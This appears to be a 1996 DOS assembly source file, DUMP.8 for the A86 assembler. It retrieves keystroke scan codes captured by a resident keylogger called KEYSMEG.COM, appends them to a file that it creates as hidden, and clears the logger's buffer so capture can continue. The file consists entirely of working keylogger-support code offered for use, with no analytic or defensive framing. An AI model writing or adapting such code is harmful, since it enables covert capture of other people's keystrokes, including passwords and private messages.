; DUMP.8 - For A86 Assembler ; (c) 1996 - E-mail: shawkie@geocities.com ; This program assumes KEYSMEG.COM is resident in memory and has at least a ; partly full buffer. ; It calls INT 09h with AX=0CAFFh to get the address of BUFLEN and BUFFER ; It resets BUFLEN to 0000 to allow storage of more scan codes ; It saves the scan codes stored by KEYSMEG.COM to a file, specified on the ; command line. If the file exists, data is appended, otherwise it is ; created, hidden. ARGS: MOV SI,0080h LODSB CBW MOV BX,AX CMP BX,0000h JE NOARG MOV B[BX+SI],00h MOV DX,SI INC DX MOV W[FILNME],DX JMP MAIN NOARG: MOV DX,ERROR3 MOV AX,0900h INT 21h MOV AX,4C00h INT 21h MAIN: MOV BX,0CAFFh MOV AX,0CAFFh INT 09h ;Get Address of BUFLEN and BUFFER CMP BX,0CAFFh JNE INSTLD MOV AX,0900h MOV DX,ERROR1 INT 21h JMP QUIT INSTLD: MOV DS,ES ;KEYSMEG Data and Code Segment MOV CX,W[BX] ;CX is now BUFLEN PUSH BX MOV DX,BX MOV BX,02h ADD DX,BX ;DS:BX now points to first char in BUFFER CALL SAVE ;Save to disk POP BX MOV DS,CS JNC WRITTN MOV AX,0900h MOV DX,ERROR2 INT 21h WRITTN: ES: MOV W[BX],0000h ;Reset BUFLEN QUIT: MOV AX,4C00h INT 21h ;Quit SAVE: PUSHA PUSH CX PUSH DX MOV AX,3D01h PUSH DS MOV DS,CS MOV DX,W[FILNME] INT 21h ;Try opening existing file POP DS JNC SEEKEND ;If exists, move to end MOV AX,3C00h MOV CX,0002h PUSH DS MOV DS,CS INT 21h ;Otherwise create, hidden POP DS JC ESAVE ;This failed, so quiting MOV BX,AX ;BX is now file handle OUTSTR: MOV AH,40h POP DX POP CX INT 21h ;Write data to file PUSH CX PUSH DX MOV AH,3Eh INT 21h ;Close file JMP ESAVE ;Quit SEEKEND:MOV BX,AX MOV AX,4202h MOV CX,0000h MOV DX,0000h INT 21h ;Seek to end of file JMP OUTSTR ESAVE: POP DX POP CX POPA RET ;BYE!!! ERROR1: DB 'KEYSMEG not properly installed!$' ERROR2: DB 'Data not written to disk!$' ERROR3: DB 'Syntax:',13,10,' DUMP[.COM] filename$' FILNME: DW ?